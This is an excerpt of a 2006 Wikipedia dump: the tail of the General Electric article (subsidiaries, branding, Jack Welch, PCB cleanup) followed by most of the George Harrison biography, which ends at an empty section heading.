GE is an enormous multinational industrial company headquartered in [[Fairfield, Connecticut]]. The company describes itself as composed of a number of primary business units or &quot;businesses.&quot; Each &quot;business&quot; is itself a vast enterprise, any of which would, even as a standalone company, rank in the [[Fortune 500]]. The list of GE businesses varies over time as the result of [[acquisitions]], [[divestiture]]s and [[reorganization]]s.

==GE subsidiaries==
:''Main article: [[List of assets owned by General Electric]]''
* [[Access Distribution]]
* [[GE Advanced Materials]]
* [[GE Capital IT Solutions]]
* [[GE Capital Rail Services]]
* [[GE Commercial Aviation Services|GECAS]] &lt;!-- More commonly known by the acronym --&gt;
* [[GE Commercial Finance]]
* [[GE Consumer &amp; Industrial]]
* [[GE Consumer Finance]]
* [[GE Energy]]
* [[GE Engine Services, Inc.]]
* [[GE Equipment Services]]
* [[GE Fanuc Automation North America, Inc.]]
* [[GE Financial Assurance Holdings, Inc.]]
* [[GE Franchise Finance Corporation]]
* [[GE Global Research]]
* [[GE Healthcare]]
* [[GE Infrastructure]]
* [[GE Inspection Technologies]]
* [[GE Insurance]]
* [[GE Money]]
* [[GE Osmonics]]
* [[GE SeaCo SRL]]
* [[GE Security]]
* [[GE Small Business Finance Corporation]]
* [[GE Supply]]
* [[GE Transportation]]
* [[Global Nuclear Fuel - Japan Co., Ltd.]]
* [[HPSC, Inc.]]
* [[Instrumentarium|Instrumentarium Corporation]]
* [[MRA Systems, Inc.]]
* [[NBC Universal|NBC Universal, Inc.]]
* [[Transport International Pool Inc.]]
* [[WMC Mortgage Corp.]]

Through these businesses, GE participates in a wide variety of markets including the generation, transmission and distribution of [[electricity]], [[lighting]], industrial [[automation]], [[medical imaging]] equipment, [[motor]]s, [[railway]] [[locomotive]]s, [[aircraft]] [[jet engine]], [[aviation]] services and materials such as [[plastic]]s, [[silicone]]s and [[abrasive]]s. It was co-founder and is 80% owner (with Vivendi Universal) of [[National Broadcasting Company|NBC Universal]], the National Broadcasting Company. Through GE Commercial Finance, GE Consumer Finance, GE Equipment Services, and GE Insurance it offers a range of financial services as well. It has a presence in over 100 countries.

Interestingly, over half of GE's revenue is derived from [[financial services]], ostensibly making it a financial company with a manufacturing arm. It is also one of the largest lenders in countries other than the United States, such as [[Japan]]. Even though the first wave of conglomerates (such as [[ITT]], [[Ling-Temco-Vought]], [[Tenneco]], etc) fell by the wayside by the mid-[[1980s]], in the late [[1990s]], another wave (consisting of [[Westinghouse Electric Corporation|Westinghouse]], [[Tyco International|Tyco]], and others) tried and failed to emulate GE's success.

==GE's Brand==
General Electric has one of, if not the, most valuable corporate brand in the world. CEO [[Jeffrey Immelt]] had the new [[brand]] commissioned in [[2004]], after he took the reigns as chairman, in order to unify all the diversified businesses of GE. The brand included a change of the corporate color palette, small modifications to the [[GE Logo]], a new customized font, called [[GE Inspira]], and a new slogan, &quot;imagination at work&quot;. The new brand requires many headlines to be lowercased and adds visual &quot;white space&quot; to their documents and advertising to promote an open and approachable company. The new brand was designed by [[Wolff Olins]] and can be seen on GE's corporate website. GE BrandCentral[http://www.gebrandcentral.com] is a website dedicated to managing the brand and requests for font and logo usage. Unfortunately, it is closed to the public.

==Jack Welch==
The [[CEO]] from [[1981]]-[[2001]] was [[Jack Welch]], who many regard as one of the premier business [[managers]] of his era. Nicknamed &quot;Neutron Jack&quot;, he presided over a 28-fold increase in [[earnings]] (on a 5-fold increase in [[revenue]]) with his policy (referred to by detractors as &quot;[[rank and yank]]&quot;) of sacking the worst performing 10% of his staff every year. In running GE's many diverse businesses he maintained a policy of only keeping those businesses which were #1 or #2 within their respective industries. In [[1987]], GE was the United States' second largest [[nuclear power]] company and third largest producer of [[nuclear weapons systems]]. Jack Welch introduced the use of the [[six sigma]] [[quality system]], originally developed at [[Motorola]], within GE.

==Corporate information==
The company's [[market capitalization]] ([http://finance.yahoo.com/q?s=GE]) is almost $100 billion higher than that of [[Microsoft]] ([http://finance.yahoo.com/q?s=msft]). In [[2004]], GE was named number one company for employers and employees on the [[Forbes]] 500 Global Player list.

Jeffrey Immelt succeeded Jack Welch as CEO of General Electric and holds that office today. Current members of the [[board of directors]] of General Electric are: [[James Cash, Jr.]], Sir [[William Castell]] (Deputy Chairman, and Executive Officer), [[Dennis Dammerman]], [[Ann Fudge]], [[Claudio Gonzalez]], [[Jeffrey Immelt]], [[Andrea Jung]], [[A.G. Lafley]], [[Robert Lane (businessman)|Robert Lane]], [[Ralph Larsen]], [[Rochelle Lazarus]], [[Sam Nunn]], [[Roger Penske]], [[Robert Swieringa]], [[Douglas Warner]], and [[Bob Wright]].

== Superfund Sites ==

General Electric has agreed to pay the [[Environmental Protection Agency]] $110 million dollars in order to clean up three [[superfund]] sites contaminated with [[polychlorinated biphenyls]] (PCBs).  The three superfund sites are composed of a 200 mile stretch along the [[Hudson River]], a section of the [[Housatonic River]] in [[Pittsfield]], MA and a transformer facility near [[Rome]], GA.  General Electric had initially spent $120 million between 1990 and 2005 with public relations and lobbying firms in order to fight responsibility for cleanup costs.[http://www.odwyerpr.com/members/0111ge.htm]

==Analyst coverage==
See [http://finance.yahoo.com/q/sa?s=GE Yahoo! analyst converage]
*Germanotta, Jeffrey ([[William Blair &amp; Company]], L.L.C.)
*Cornell, Robert ([[Lehman Brothers]])
*Parent, Nicole ([[Credit Suisse First Boston]])
*Dray, Deane ([[Goldman Sachs]])

==Financials==
*[http://www.sec.gov/cgi-bin/browse-edgar?action=getcompany&amp;CIK=0000040545&amp;owner=exclude SEC filings including 10-k]

==See also==
* [[Borazon]]
* [[Lexan]]
* [[List of assets owned by General Electric]]
* [[MOOSE]]
*[[Rank and yank]]

==External links==
*[http://www.ge.com/ General Electric's website]
*[http://www.toaster.org/hotpoint.html Hotpoint - A Brief Independence]
===Data===
*[http://biz.yahoo.com/ic/10/10634.html Yahoo! - General Electric Company Company Profile]
* [http://www.universalstudioshollywood.com/ General Electric's Universal Studios theme park in Los Angeles, CA]

{{General Electric}}

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  </page>
  <page>
    <title>George Harrison</title>
    <id>12731</id>
    <revision>
      <id>42028008</id>
      <timestamp>2006-03-03T08:32:58Z</timestamp>
      <contributor>
        <ip>207.157.252.11</ip>
      </contributor>
      <comment>misspelled word &quot;hieght&quot; corrected</comment>
      <text xml:space="preserve">:''This article is about songwriter and musician George Harrison. For the early twentieth century singer, see [[Clinton Ford (singer)|Clinton Ford]]. For Nintendo's Senior VP of Marketing and Corporate Communication, see [[George Harrison (Executive)]].''
{{Infobox_Biography |
  subject_name=George Harrison |
  image_name= GHarrison.JPG |
  image_caption= |
  dead=dead |
  date_of_birth=[[February 24]], [[1943]] |
  place_of_birth=[[Liverpool]], [[England]] |
  date_of_death=[[November 29]], [[2001]] |
  place_of_death=[[Los Angeles, California|Los Angeles]], [[California]], [[USA]]
}}
'''George Harrison''', [[Order of the British Empire|MBE]] ([[February 24]], [[1943]] &amp;ndash; [[November 29]], [[2001]]) was a popular [[United Kingdom|British]] [[guitarist]], [[singer]], [[songwriter]], [[record producer]], and [[film producer]], best known as a member of [[The Beatles]]. 

Harrison was the [[lead guitar]]ist of The Beatles. During the band’s extremely successful career, [[John Lennon]] and [[Paul McCartney]] were its main songwriters. However, Harrison usually wrote and sang lead on one or two songs per album, including the popular &quot;[[If I Needed Someone]]&quot;, &quot;[[Taxman]]&quot;, &quot;[[While My Guitar Gently Weeps]]&quot;, &quot;[[Here Comes the Sun]]&quot;, and &quot;[[Something (song)|Something]]&quot;. 

During the era of the Beatles, Harrison also became attracted to [[Music of India|Indian music]] and [[Hinduism]], sparking unprecedented interest in them in the [[Western Hemisphere]]. Both would subsequently play a prominent role in Harrison’s life and music. 

Harrison also had an uneven but sometimes very successful solo career after the break-up of The Beatles, scoring major hits with &quot;[[My Sweet Lord]]&quot; (1970), &quot;[[Give Me Love (Give Me Peace on Earth)]]&quot; (1973), &quot;[[All Those Years Ago]]&quot; (1981), and &quot;[[Got My Mind Set on You]]&quot; (1987). He also organized the first large-scale charity concert, ''[[The Concert For Bangladesh]]'', which took place on [[August 1]], [[1971]]. Harrison was inducted into the [[Rock and Roll Hall of Fame]] as a solo artist in 2004.

Harrison was also a [[film producer]] and founded [[Handmade Films]] in 1979. The company's films include [[Monty Python]]’s ''[[The Life of Brian]],'' ''[[Time Bandits]]'', ''[[Withnail and I]]'', and ''[[Mona Lisa (movie)|Mona Lisa]]''. Harrison also has a cameo role in the Beatles parody film ''[[All You Need Is Cash|The Rutles]]''.

==Early years==
George Harrison was born in [[Liverpool]], [[England]] in 1943. His sister has said that their mother wrote in her diary that he was born ten minutes after midnight on [[February 25]], though Harrison subsequently claimed that he had, in fact, been born on [[February 24]] at 11:40 PM.  His full name is often given as &quot;George Harold Harrison,&quot; but this is incorrect.  Harrison had no middle name, as one can see on his birth certificate.  Harold was his father's name.

Harrison’s childhood home is located at [[12 Arnold Grove]]. He first attended school at [[Dovedale Infants]], just off [[Penny Lane]]. Later on, he attended the [[Liverpool Institute for Boys]] (now the [[Liverpool Institute for Performing Arts]]), a &quot;smart school&quot;, but was regarded as a poor student, and contemporaries described him as someone who would &quot;sit alone in the corner&quot;. In the mid-1950s he knew [[Paul McCartney]] (also a Liverpool Institute student) and beginning in February 1958 played lead [[guitar]] in the band (initially called [[The Quarry Men]]) that eventually became The Beatles.

In 1959, Harrison worked briefly as an apprentice electrician at [[Blacklers Stores]] in [[Liverpool]]. The training helped, and Harrison became the member who knew the most about rigging their sound equipment. Later he set up his own [[multitrack recording]] gear at his Esher home, [[Kinfauns]], making [[demo (music)|song demos]] for himself and The Beatles.

==Role in The Beatles==
Harrison was a fluent, inventive and highly accomplished lead and rhythm guitarist, whose influences included [[Chuck Berry]], [[Carl Perkins]] and [[Chet Atkins]]. Although he was a creative soloist, several of his famous Beatles guitar solos were recorded under specific directions from Paul McCartney, who on occasion demanded that Harrison play what he envisioned virtually note-for-note. Other Harrison solos were directed or modified by producer [[George Martin]], who also vetoed several of Harrison's song and instrument offerings; Martin admitted years later, &quot;I was always rather beastly to George.&quot;

During the era of [[Beatlemania]], Harrison was characterized as the &quot;Quiet Beatle&quot;, noted for his introspective manner and his tendency not to speak in press conferences. He studied situations and people closely, though, and was the most interested of any Beatle in the band's finances, often quizzing [[Brian Epstein]] about them. He could also wisecrack as well as anyone in the band; when a reporter asked what they did in their hotel suite between shows, Harrison told him &quot;We [[ice skating|ice-skate]].&quot; He also gave the '[[Beatle haircut]]' a formal name: &quot;Arthur!&quot;
[[Image:PDGeorge Harrison.jpg|right|thumb|Harrison in the early 1960s]]
Harrison wrote his first song, &quot;[[Don't Bother Me]]&quot;, during a sick day in 1963, as an exercise &quot;to see if I ''could'' write a song&quot;, as he remembered. &quot;Don't Bother Me&quot; appeared on the second Beatles album (''[[With the Beatles]]'') late that year, on ''[[Meet the Beatles!]]'' in the US in early 1964, and also in ''[[A Hard Day's Night (film)|A Hard Day's Night]]''. Harrison was usually allotted only one original song per album, the break coming in 1966, when three Harrison songs appeared on ''[[Revolver (album)|Revolver]]''.

A turning point in Harrison's career came during an American tour in 1965, when his friend [[David Crosby]] of [[The Byrds]] introduced him to Indian classical music and the work of [[sitar]] maestro [[Ravi Shankar (musician)|Ravi Shankar]]. Harrison quickly became fascinated with the instrument, immersed himself in Indian music and was pivotal in popularizing the sitar in particular and Indian music in general in the West. Buying a sitar himself as the Beatles came back from a Far East tour, he became the first western popular musician to play one on a pop record &quot;[[Norwegian Wood (This Bird Has Flown)]]&quot;. He championed Shankar with western audiences, and was largely responsible for having him included on the bill at the [[Monterey Pop Festival|Monterey International Pop Festival]] in June 1967. Shankar didn't admire Harrison's first Indian-influenced efforts, but the two became friends, and Harrison began his first formal musical studies with Shankar.

A personal turning point for Harrison came during the filming of the movie ''[[Help! (film)|Help!]]'', on location in the [[Bahamas]], when a [[Hinduism|Hindu]] devotee presented each Beatle with a book about [[reincarnation]]. Harrison’s interest in Indian culture expanded to his embracing [[Hinduism]]. A pilgrimage with wife Pattie to the [[Republic of India]], where Harrison studied sitar, met several gurus and visited various holy places, filled the months between the end of the final Beatles tour in 1966 and the commencement of the ''Sgt. Pepper'' sessions. Ironically though, it was through Pattie (and back in England) that George met [[Maharishi]] [[Mahesh Yogi]], who introduced the Beatles, their wives and girlfriends to [[Transcendental Meditation]]. While they parted company with the Maharishi months afterwards, Harrison continued his pursuit of [[Eastern philosophy|Eastern]] [[spirituality]].

In the summer of 1969, he produced the single &quot;[[Hare Krishna Mantra]]&quot;, performed by Harrison with the devotees of the London [[Radha]]-[[Krishna]] Temple, that topped the 10 best-selling record charts throughout UK, Europe, and Asia. That same year, he and fellow Beatle John Lennon met [[A.C. Bhaktivedanta Swami Prabhupada]], Founder-[[acharya]] of the [[International Society for Krishna Consciousness]] (ISKCON). Soon after, Harrison embraced the Hare Krishna tradition (particularly ''japa-yoga'' chanting with beads; a meditation technique similar to the [[Catholic]] [[rosary]]), and remained associated with it until his death. When during his lifetime, Harrison bequeathed to ISKCON his [[Letchmore Heath]] mansion (renamed [http://chantandbehappy.com/manorvirtual/ Bhaktivedanta Manor]) north of London, he redoubled speculations that he would leave ISKCON a large sum in his will; in fact, he left nothing to the organization. [http://www.newsindia-times.com/2002/12/13/intl-top14.html].

Harrison formed a close friendship with [[Eric Clapton]] in the late 1960s and they co-wrote the song &quot;[[Badge (song)|Badge]]&quot;, which was released on [[Cream (band)|Cream's]] farewell album in [[1969 in music|1969]].  This song was the basis for Harrison's composition for The Beatles' ''[[Abbey Road (album)|Abbey Road]]'' album, &quot;[[Here Comes the Sun]]&quot;, which was written in Clapton's back garden. 

Friction between Harrison and McCartney increased markedly during the recording of the ''[[The Beatles (album)|White Album]]'', with Harrison threatening to leave the group on several occasions. The tension between Harrison and McCartney can be clearly seen in several scenes in the ''[[Let It Be (film)|Let It Be]]'' documentary film and relations became so strained during the making of the film that Harrison briefly quit the band.

Harrison's songwriting improved greatly through the years, and his material gradually earned respect from both his fellow Beatles (with Lennon telling McCartney during 1969 &quot;George's songs this year are at least as good as ours&quot;) and the public. Nonetheless, he later said that he always had difficulty getting the band to record his songs.

Notable Harrison compositions from The Beatles' oeuvre include: the intricate &quot;[[If I Needed Someone]]&quot;; &quot;[[I Want to Tell You]]&quot;; the Indian-influenced &quot;[[Love You To]]&quot;; the acerbic &quot;[[Taxman]]&quot; (later referenced in [[Cheap Trick]]'s &quot;Taxman, Mr. Thief&quot; and [[The Jam]]'s &quot;Start&quot;); the much-maligned &quot;[[Within You Without You]]&quot;; &quot;[[While My Guitar Gently Weeps]]&quot;, which was strongly influenced by the music of his friend [[Roy Orbison]] and featured a guitar solo by his close friend Eric Clapton; and &quot;[[Piggies]]&quot;, which later featured inadvertently in the notorious [[Charles Manson]] murder case (as did McCartney's &quot;[[Helter Skelter]]&quot; actually about a fairground ride). 

&quot;[[Something (song)|Something]]&quot; and &quot;[[Here Comes the Sun]]&quot; are probably his two best-known Beatles songs. &quot;Something&quot; is considered one of his very best works, and was even covered by [[Elvis Presley]] and  [[Frank Sinatra]], who famously deemed it &quot;the greatest love song of the last 50 years.&quot; At the same time, &quot;Something&quot; serves as a supreme example of Harrison's lack of recognition as a songwriter - Frank Sinatra once called it his &quot;favorite Lennon-McCartney tune.&quot; His increasing productivity, coupled with his difficulties in getting The Beatles to record his music, meant that by the end of the group's career he had amassed a considerable stockpile of unreleased material.

When asked years later what kind of music The Beatles might have made if they'd stayed together, his answer was to the point: &quot;The solo stuff that we've done would have been on Beatle albums.&quot; Harrison, Lennon and McCartney had always largely written apart; on one level, breaking up for each was merely a change of collaborators.

See also: [[List of Beatles songs written by George Harrison]].

==1970s==
After the Beatles split in 1970, Harrison released a number of albums that were critically and commercially successful, both as solo projects and as a member of other groups.  After years of being limited in his contributions to the Beatles, he released a large number of the songs he had stockpiled in the first major solo work released after the breakup, ''[[All Things Must Pass]]'', the first triple album by a single artist in rock history. It included the number one hit single &quot;[[My Sweet Lord]]&quot;, although Harrison was later sued for [[copyright infringement]] over the supposed similarities to the 1963 [[The Chiffons|Chiffons]] single &quot;[[He's So Fine]]&quot;. Harrison denied deliberately stealing the song, but he did lose in court during 1976; in the ruling, the court accepted the possibility that Harrison had &quot;unconsciously copied&quot; the Chiffons melody as the basis for his own song. Disputes over damages dragged on into the 1990s, with manager [[Allen Klein]] changing sides by buying [[Bright Tunes]], which published &quot;He's So Fine&quot;, and continuing the suit after parting with Harrison, and Harrison ultimately winding up as the owner of both songs.
[[Image:BanglaDeshCover.jpg|right|thumb|The Concert for Bangaldesh]]
Harrison was probably the first modern musician to organize a major [[charity]] concert. His [[Concert for Bangladesh]] on [[August 1]], [[1971]], drew over 40,000 people to two shows in [[New York City|New York's]] [[Madison Square Garden]] with the intention of aiding the starving refugees from the war in [[Bangladesh]]. [[Ravi Shankar (musician)|Ravi Shankar]] opened the proceedings, which included other popular musicians such as [[Bob Dylan]] (who rarely appeared live in the early 1970s), [[Eric Clapton]] who made his first public appearance in months (due to a heroin addiction, begun as [[Derek and the Dominos]] broke up), [[Leon Russell]], [[Badfinger]], [[Billy Preston]] and fellow Beatle [[Ringo Starr]]. Unfortunately, tax troubles and questionable expenses tied up many of the concert's proceeds. ([http://www.theconcertforbangladesh.com/ Apple Corps] recently released a newly arranged concert DVD and CD on October 25, 2005 in the USA, and October 24 in the rest of the world. The DVD and CD contains additional material (such as previously unreleased rehearsal footage of &quot;If Not For You&quot; featuring Harrison and Dylan), and all artists' sales royalties continue to go to [[UNICEF]].)

In addition to his own works, during this time Harrison wrote and/or produced several hits for Ringo Starr (&quot;It Don't Come Easy&quot;, &quot;Photograph&quot;) and also appeared on tracks by John Lennon (&quot;How Do You Sleep?&quot;), [[Harry Nilsson]] (&quot;You're Breakin' My Heart&quot;), [[Badfinger]] (&quot;Day After Day&quot;), [[Billy Preston]] (&quot;That's The Way God Planned It&quot;) and [[Cheech &amp; Chong]] (&quot;Basketball Jones&quot;).

Harrison's next album was ''[[Living in the Material World]]'' in 1973.  &quot;Give Me Love (Give Me Peace on Earth)&quot; was a big hit, and &quot;[[Sue Me Sue You Blues]]&quot; was a window into the former Beatles' miserable legal travails, but overall the record was seen as too overtly religious.  

In 1974 Harrison released ''[[Dark Horse (album)|Dark Horse]]'' and at the same time launched a major tour of the United States which was subsequently criticised for its long opening act of Ravi Shankar &amp; Friends, Harrison's hoarse voice, and his frequent preaching to the audience. It was during this period while in LA preparing for the 1974 tour that he also opened offices for his new [[Dark Horse Records]] on the [[A&amp;M Records]] lot on La Brea Avenue in Los Angeles. It was in those offices that he met a beautiful young woman by the name of Olivia Trinidad Arias who was assigned to work at his label with [[Terry Doran]] from Apple and Jack Oliver who came over from London to run Dark Horse Records. The relationship progressed during the rehearsals and Olivia joined George on his 1974 tour during which their relationship blossomed into something more resulting in her permanent relocation to [[Friar Park]] in [[Henley-on-Thames]], England, George's home. 

Subsequent to the 1974 tour he returned to his home in the UK and commuted between there and Los Angeles for the next few years while Dark Horse issued a small number of records by performers such as [[Splinter (band)|Splinter]], [[Attitudes]] and Ravi Shankar. He also planned to issue his own records through Dark Horse after his contract with [[EMI]] expired.

Amidst a music media rife with Beatle-reunion speculation, Harrison was probably the least accommodating of these theories, telling the press in 1974 that while he wouldn't mind working with John Lennon and Ringo Starr again, he could not see himself being involved in a band with Paul McCartney, who was limiting his contributions in Beatles.

His final album for EMI (and Apple Records) was ''[[Extra Texture|Extra Texture (Read All About It)]]'', featuring a textured cover. The album spawned two singles, &quot;You&quot; and &quot;[[This Guitar (Can't Keep From Crying)]]&quot;, which became Apple's final single release in 1975.

Following the former Beatles' release from Capitol at the beginning of that year, the record company was in a position to license releases featuring Beatles and post-Beatles work on the same album, and used Harrison for this unfortunate experiment. ''[[The Best of George Harrison]]'' combined the musician's best Beatle songs with a slim selection of his best solo Apple work, doing neither era a favor.

Business and personal troubles took their toll on Harrison over during 1976, and when his first Dark Horse album (''[[Thirty Three &amp; 1/3]]'', his age at the time) was due, Harrison was suffering from [[hepatitis]] and couldn't complete the production. After A&amp;M threatened to take him to court, [[Warner Brothers Records]] stepped in, buying out Harrison's Dark Horse contract with A&amp;M, and allowing him time to regain his health.

''Thirty Three &amp; 1/3'' was his most successful late-1970s album, and featured the hits &quot;[[This Song]]&quot; (a satire of the &quot;[[My Sweet Lord]]&quot; ruling) and &quot;[[Crackerbox Palace]]&quot; (a humourous and surrealistic number, looking back on his life to date; the title was the name of comedian [[Lord Buckley]]'s former small home in Hollywood, California, which Harrison visited, and 'Mr. Grief' in the song had been Buckley's manager).

After his second marriage and the birth of son [[Dhani Harrison]], Harrison's next album was self-titled: 1979s ''[[George Harrison (album)|George Harrison]]'' included the hits &quot;[[Blow Away]]&quot;, &quot;[[Love Comes To Everyone]]&quot; and &quot;Faster&quot;. &quot;Blow Away&quot; featured a memorable electric-[[slide guitar]] introduction, and became a much-loved single at the end of the Seventies.

==1980s==
In 1980 Harrison became the only ex-Beatle to write an autobiography, ''I Me Mine''. Former Beatles publicist [[Derek Taylor]] helped with the book, which was initially released in a high-priced limited edition. The book said little about the Beatles, focusing instead on Harrison's hobbies, such as [[gardening]] and [[Formula One]] auto racing. It also included the lyrics to his songs and many rare photographs.

Immediately following the December 1980 murder of his friend and former bandmate John Lennon, Harrison modified the lyrics of a song he had written for Ringo Starr to make it a tribute song to Lennon, &quot;[[All Those Years Ago]]&quot;, which found substantial radio airplay and continues to be a staple of &quot;[[classic rock]]&quot; radio. All the three remaining Beatles performed on it, although it was expressly a Harrison single. &quot;Teardrops&quot; was issued as a follow-up single, but wasn't nearly as successful. Both singles were pulled from the album ''[[Somewhere in England]]'', released in 1981. The album was originally slated for release in late 1980, but Warner Brothers rejected it, and ordered Harrison to replace some of the tracks, and apparently change the album cover (!) as well. This was another professional humiliation for an artist who had already been sued successfully for his most famous post-Beatles song, &quot;[[My Sweet Lord]]&quot;.

Aside from a song on the ''[[Porky's Revenge]]'' [[soundtrack]] in 1984, his version of a little-known [[Bob Dylan]] song, ''[[I Don't Want To Do It]]'', Harrison released no new records for five years after 1982s ''[[Gone Troppo]]'' was met with apparent indifference. He returned in 1987 with the highly successful album ''[[Cloud Nine (George Harrison album)|Cloud Nine]]'', co-produced with [[Jeff Lynne]] of [[Electric Light Orchestra]], and enjoyed a hit (#1 in the U.S.; #2 in the U.K) when his cover version of [[James Ray (musician)|James Ray]]'s early 1960s number &quot;[[Got My Mind Set on You]]&quot;  was released as a single; another single, &quot;[[When We Was Fab]]&quot;, was also a minor hit. MTV regularly played the two videos, and elevated George's public profile as a relevant 80's artist. The album got to #8.

During the late 1980s, he was instrumental in forming the [[Traveling Wilburys]] with [[Roy Orbison]], [[Jeff Lynne]], [[Bob Dylan]], and [[Tom Petty]] when they gathered in Dylan's garage to quickly record an additional track for a projected Harrison European single release. The record company realised the track (&quot;[[Handle With Care (song)|Handle With Care]]&quot;) was too good for its original purpose as a single B-side and asked for a separate album. This had to be completed within two weeks, as Dylan was scheduled to start a tour. Released in October 1988, and recorded under [[pseudonym]]s as half-brothers (supposed sons of Charles Truscott Wilbury, Sr.), ''[[Traveling Wilburys Vol. 1]]'' was dubbed as one of the top 100 albums of all time by [[Rolling Stone]] magazine.

One of Harrison's most successful ventures during this period was his involvement in film production through his company [[Handmade Films]]. Since childhood The Beatles had been fans of the anarchic humour of [[The Goons]], and Harrison became a dedicated fan of their successors, the [[Monty Python]] team. He provided financial backing for the Python film ''[[The Life of Brian]]'' after the original backers (EMI Films) withdrew, fearing the subject matter of the film was too controversial. Other films produced by Handmade included ''[[Mona Lisa (movie)|Mona Lisa]]'', ''[[Time Bandits]]'', ''[[Shanghai Surprise]]'' and ''[[Withnail and I]]''. He made several cameo appearances in these movies, including appearing as a nightclub singer in ''[[Shanghai Surprise]]'', and as Mr. Papadopolous in ''[[Life of Brian]]''. One of his most memorable cameos was as a reporter in the cult Beatles parody [[The Rutles]], created by ex-Python [[Eric Idle]].

1989 saw the release of ''[[Best of Dark Horse 1976-1989]]'', a compilation drawn from his later solo work. This album also included three excellent new songs: &quot;Poor Little Girl&quot;, &quot;[[Cheer Down]]&quot;, and &quot;[[Cockamamie Business]]&quot;, the last of which saw him once again looking wryly upon his Beatley past. Unlike his previous greatest hits package, Harrison made sure to oversee this one.

==1990s==
[[Image:1991 Japan Tour.jpg|thumb|240px|from Concert tour with [[Eric Clapton]] &amp; His Band, [[December]] [[1991]]]]
The first year of the new decade saw a new Traveling Wilburys album, despite the untimely death of Roy Orbison. The band had allegedly approached [[Del Shannon]] about replacing Roy, but he also met an untimely death. The album was recorded as a four-piece.

It was not as successful as the previous album, but still managed to stay on the charts for quite a time, spawning the singles &quot;She's My Baby&quot; and &quot;[[Wilbury Twist]]&quot;.

In 1991 Harrison staged a tour of Japan along with Eric Clapton.  It was his first tour since the ill-fated 1974 U.S. tour, and, although he seemed to enjoy it, there were to be no others.
The ''[[Live in Japan]]'' recording came from these shows. In October of 1992, he played two songs (&quot;[[If Not For You]]&quot; and &quot;[[Absolutely Sweet Marie]]&quot;) at a huge Bob Dylan tribute concert at [[Madison Square Garden]] in [[New York City]].

In [[1995]], at the height of the [[britpop]] movement - which was heavily influenced by Harrison's music - he became embroiled in a feud with [[Oasis (band)|Oasis']] Gallagher brothers. Devoted fans of The Beatles, the brothers were offended when Harrsion reffered to them as &quot;silly&quot; and &quot;a passing fad&quot;. [[Noel Gallagher]] responeded by saying &quot;George was always the quiet Beatle - maybe he should keep that up&quot; whilst [[Liam Gallagher]] described him as a &quot;nipple&quot; and threatened to play golf off of Harrison's head should they ever meet. Apparently the feud was short lived, and when Noel Gallagher and Harrison actually met, they got on well. 

Harrison's final television appearance wasn't intended as such; in fact, he wasn't the featured artist, and the appearance was to promote ''[[Chants of India]]'', another collaboration with Ravi Shankar released in 1997, at the height of interest in [[chant]] music. [[John Fugelsang]] conducted the interview, and at one point an acoustic guitar was produced, and handed to Harrison. When an audience member asked to hear &quot;a Beatles song!&quot; Harrison pulled a sheepish look and answered &quot;I don't think I know any!&quot; He did finish the show with a loose rendition of &quot;All Things Must Pass&quot;.

A former [[tobacco smoking|smoker]], Harrison endured an ongoing battle with [[cancer]] throughout the 1990s, having growths removed first from his [[oral cancer|throat]], then his [[lung cancer|lung]].

Then there was an attempt on Harrison's life. On [[December 30]], [[1999]] crazed fan [[Michael Abram]] broke into the Harrison's [[Friar Park]] home in [[Henley-on-Thames]], stabbed George multiple times, ultimately puncturing his [[lung]]. Harrison and his wife, Olivia, fought the intruder and detained him for the police. 35-year-old Abram, who believed he was [[Spiritual possession|possessed]] by Harrison and was on a &quot;[[Mission (Christian)|mission]] from [[God]]&quot; to kill him, was later acquitted on grounds of [[insanity]].

In 2001 Harrison appeared as a guest musician on the [[Electric Light Orchestra]] album, ''[[Zoom]]'', and wrote a new song, ''[[Horse To The Water]]'', and recorded it (on what was his final recording, a few weeks before his death) with Jools Holland on the latter's album, ''[[Small World, Big Band]]''.

==Death==
George Harrison died at the home of a friend, security specialist ''Gavin de Becker'', in [[Los Angeles, California|Los Angeles]], [[California]] on [[November 29]] [[2001]], at the age of 58. His death was ascribed to [[lung cancer]] that had [[metastasis|metastasized]] to the [[brain cancer|brain]]. He was [[cremation|cremated]], and although it was widely reported that his ashes were scattered in the River [[Ganga|Ganges]], the ceremony was not conducted at the expected time [http://www.theage.com.au/cgi-bin/common/popupPrintArticle.pl?path=/articles/2002/11/30/1038386359453.html]. The actual disposition of the ashes has not been publicly disclosed.

After his death, the Harrison family released the following statement: &quot;He left this world as he lived in it: conscious of [[God]], fearless of death and at peace, surrounded by family and friends. He often said: 'Everything else can wait, but the search of [[God]] cannot wait; and love one another.'&quot;

Harrison and [[Aaliyah|Aaliyah Haughton]] made UK chart history when they scored the first (and so far the only) pair of back-to-back posthumous number one hits as Aaliyah's &quot;More than a Woman&quot; (released on [[January 7]] [[2002]] and topped the chart on [[January 13]] [[2002]]) was followed by Harrison's &quot;[[My Sweet Lord]]&quot; (re-released on [[January 14]] [[2002]] and topped the chart on [[January 20]] [[2002]]).

Harrison's final album, ''[[Brainwashed (album)|Brainwashed]]'', was completed by [[Dhani Harrison]] and [[Jeff Lynne]] and released on [[November 18]] [[2002]].

On [[November 29]] [[2002]] &amp;ndash; the first anniversary of George Harrison's death &amp;ndash; the [[Concert for George]] saw the two remaining Beatles [[Paul McCartney]] and [[Ringo Starr]] join many of Harrison's other friends for a special memorial concert at the [[Royal Albert Hall]] in [[London]] that benefitted the [[Material World Charitable Foundation]]. 

Harrison was inducted into the [[Rock and Roll Hall of Fame]] as a solo artist on [[March 15]] [[2004]].

==Personal and family life==
Harrison married model [[Pattie Boyd]] in 1966 and is reputed to have written the song &quot;[[Something (song)|Something]]&quot; for her in 1969, although he himself denied this, saying he was actually thinking about [[Ray Charles]]. In the late 1960s, [[Eric Clapton]] fell in love with Boyd, and famously poured out his unrequited passion on the landmark [[Derek and the Dominos]] album ''[[Layla and Other Assorted Love Songs]]'' (1971). Soon after its release Boyd left her husband and she and Clapton subsequently married. Despite this, the two men remained close friends, calling themselves &quot;husbands in law.&quot;

Harrison married for a second time to Olivia Trinidad Arias (born [[18 May]] [[1948]]) in 1978. The ceremony took place on [[September 2]] at their home, with [[guitarist]] and singer [[Joe Brown (singer)|Joe Brown]], acting as [[best man]]. They had one son, [[Dhani Harrison]], born the previous month. Dhani looks so remarkably like his father, that McCartney quipped on stage at Concert For George: &quot;It looks like George stayed young and we all got old.&quot;

==Pseudonyms==
